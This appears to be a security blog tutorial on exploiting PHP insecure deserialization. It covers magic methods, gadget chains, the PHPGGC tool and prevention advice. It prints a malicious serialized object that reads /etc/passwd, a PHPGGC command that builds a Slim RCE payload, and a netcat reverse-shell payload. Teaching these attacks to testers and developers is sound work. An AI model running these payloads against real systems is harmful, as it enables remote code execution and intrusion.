Exploiting PHP Insecure Deserialization

1 month ago 42
BOOK THIS SPACE FOR AD
ARTICLE AD

Mayank Kumar Prajapati

Hi Hackers,

I am back with another exciting blog on exploitation of PHP Insecure Deserialization vulnerability. Hope you will like it.

Serialization vs DeserializationPHP Insecure DeserializationIdentification of Serialized Objects using BurpSuiteDigging Deeper into PHP Insecure DeserializationExploiting PHP Insecure DeserializationImpactPreventionReferences

Serialization is a process of converting complex data structures such as object into byte stream that is easy to transfer from one system to another. Serialization is mainly performed at client side.

On other hand, Deserialization happens on server side on serialized object and in this process a serialized object gets convert back into its original form. Below is the diagrammatic representation.

Example

PHP serialize object using serialize() and deserialize the serialized object using unserialize() function. Consider the below PHP class.

<?php
class MyClass{
public $filename = "index.html";
public function __toString(){
return file_get_contents($this->filename);
}
}
?>

The serialized version of above class object would look like below.

O:7:"MyClass":1:{s:8:"filename";s:10:"index.html';}

Generally when we pass a serialized object to the server it would be in base64 encoded format.

BurpSuite flags the serialized object with: Serialized object in HTTP message as shown below.

In the example code that we discussed, if we try to pass sensitive files such as /etc/passwd then the application may reveal information because of un-serializing data without proper sanitization.

<?php
class MyClass{
public $filename = "index.html";
public function __toString(){
return file_get_contents($this->filename);
}
}
?>,

If the serialized object is in attacker’s control, he can perform some modifications to fetch the system file. Malicious serialized object in PHP for the above class would look like below.

O:7:"MyClass":1:{s:8:"filename";s:11:"/etc/passwd";}

Have you noticed the __toString() function in the vulnerable class, this is magic method. Lets understand it.

Magic Methods🪄

Magic methods in PHP are special methods that invoked automatically if any specific actions performed on objects.

These methods are part of the class but are not explicitly called; instead, they are invoked by PHP under certain conditions. Magic methods always begin with double underscores (__).

Examples of magic methods in PHP are given below:

__construct(), __destruct(), __call(), __callStatic(), __get(), __set(), __isset(), __unset(), __sleep(), __wakeup(), __serialize(), __unserialize(), __toString(), __invoke(), __set_state(), __clone(), and __debugInfo()

You can read more about magic methods from the below reference.

Gadget Chain⛓️

A chain of gadgets or gadget chain refers to multiple methods invoked in succession as part of the deserialization process that we perform using unserialize() function in PHP. These methods work together to perform a specific actions, such as executing arbitrary PHP code, writing files, or modifying the application state.
If an attacker has access to object properties, then it is possible to inject malicious data/payload inside in unserialize() function which in turn can gets converted to remote code execution vulnerability.

Points to remember👇

One should have access to source code of the application in order to view the classes implementation with magic methods.If a class has magic method implemented, then magic method should contain vulnerable code in order to have successful exploitation.In case of black box testing, the source code can be reviewed using the vulnerabilities such as directory traversal or sometimes the vulnerable class code gets revealed by the developers in HTML comments.

Tool PHPGGC (PHP Generic Gadget Chains)⛏️

PHPGGC is a library of unserialize() payloads along with a tool to generate them, from command line or programmatically. When encountering an unserialize on a website you don’t have the code of, or simply when trying to build an exploit, this tool allows you to generate the payload without having to go through the tedious steps of finding gadgets and combining them.

Currently, the tool supports gadget chains such as: CodeIgniter4, Doctrine, Drupal7, Guzzle, Laravel, Magento, Monolog, Phalcon, Podio, Slim, SwiftMailer, Symfony, Wordpress, Yii and ZendFramework.

Practical Approach🧪

Identify the request in which serialized object is getting passed. It can be achieved using BurpSuite or by just simply analyzing the request payloads (in base64 encoding).

From the above screenshot, the value passed in csrftoken parameter seems to be URL encoded base64. Lets decode and confirm it.

Now we have identified that this is injection point, lets identify the framework used in application so that we can generate our payload accordingly. By analyzing source code of the application, we got the framework name as well as shown in the below screenshot.

Now we can generate the payload as per the application requirement using phpggc tool. Lets confirm if this tool can generate payload for our PHP framework.

./phpggc -l | grep -i slim

As you can see we can generate the payload for our target and as per the requirements payload should be in base64 URL encoded format.

./phpggc Slim/RCE1 system id -b -u

Pass it in the request in csrftoken parameter to confirm the RCE.

Reverse Shell using PHP Insecure Deserialization👨‍💻

In the same way, we can generate reverse shell payload and receive the connection from the webserver on which deserialization is getting performed.

./phpggc Slim/RCE1 system 'nc 192.168.1.2 443 -e /bin/sh' -b -u

Pass it in the request and observe the reverse connection in your terminal.

The impact of PHP Insecure Deserialization vulnerability might lead to privilege escalation, sensitive information disclosure or in worst case it could also lead to remote code execution as explained above.

The primary cause of insecure deserialization vulnerabilities is the use of unserialize() on data that an attacker can manipulate. Avoid unserialize() entirely when handling user-controlled input, instead use JSON decoders.If you need to unserialize externally-stored serialized data, consider using hash_hmac() for data validation. Make sure data is not modified by anyone but you.PHP’s unserialize() supports a second argument, allowed_classes, to limit deserialization to safe classes.$data = unserialize($userInput, ['allowed_classes' => ['SafeClass1', 'SafeClass2']]);Use secure libraries and whitelisted classes in deserialization process.

https://portswigger.net/web-security/deserialization
https://owasp.org/www-community/vulnerabilities/Insecure_Deserialization

Hope you enjoyed reading this blog :)

LinkedIn: https://www.linkedin.com/in/mayank-kumar-prajapati/

Read Entire Article